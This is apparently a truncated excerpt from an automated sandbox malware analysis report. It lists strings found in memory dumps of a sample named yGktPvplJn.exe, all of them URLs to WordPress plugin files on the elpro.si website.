Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/mimetypes-link-icons/js/mtli-str-replace.min.js?ver=3.1.0
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/perfect-woocommerce-brands/build/frontend/css/style.css?ver=3
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/perfect-woocommerce-brands/build/frontend/js/index.js?ver=2c7
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/sassy-social-share/public/../images/close.png
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/sassy-social-share/public/../images/logo.png
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/sassy-social-share/public/css/sassy-social-share-public.css?v
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/sassy-social-share/public/js/sassy-social-share-public.js?ver
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2475478766.0000000006B0C000.00000004.00000020.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2475478766.0000000006B0C000.00000004.00000020.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/sitepress-multilingual-cms/res/flags/sl.png
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/sitepress-multilingual-cms/res/js/cookies/language-cookie.js?
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/menu-
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 